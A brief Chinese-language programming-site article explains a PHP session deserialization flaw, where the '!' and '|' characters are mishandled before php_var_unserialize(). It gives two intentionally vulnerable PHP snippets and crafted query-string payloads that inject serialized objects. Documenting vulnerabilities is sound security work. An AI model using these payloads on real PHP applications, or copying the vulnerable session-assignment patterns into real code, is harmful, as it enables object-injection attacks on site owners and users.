当前位置:编程学习 > php >>

php处理Session时的不足将导致代码注入并执行

 php在处理session时内核会用到php_var_unserialize(),在这之前对传进来的变量会先做默认的两种特殊字符(!和|)判断,一定情况下构造特殊的变量名和值到php_var_unserialize()能执行我们给定的代码。产生的漏洞效果和unserialize()函数一样。具体漏洞代码和原理se牛有给出,感兴趣的同学可以认真跟下,下面代码也测试成功!

例一:

<?php
session_start();
$_SESSION[$_GET[a] = $_GET[b];
?>

xx.php?a=!&b=|O:6:"xhm1n9":0:{}

例二:

<?php
session_start();
$_SESSION = array_merge($_SESSION, $_GET);
?>

xx.php?!=|xxx|O:10:"evilObject":0:{}

补充:综合编程 , 安全编程 ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,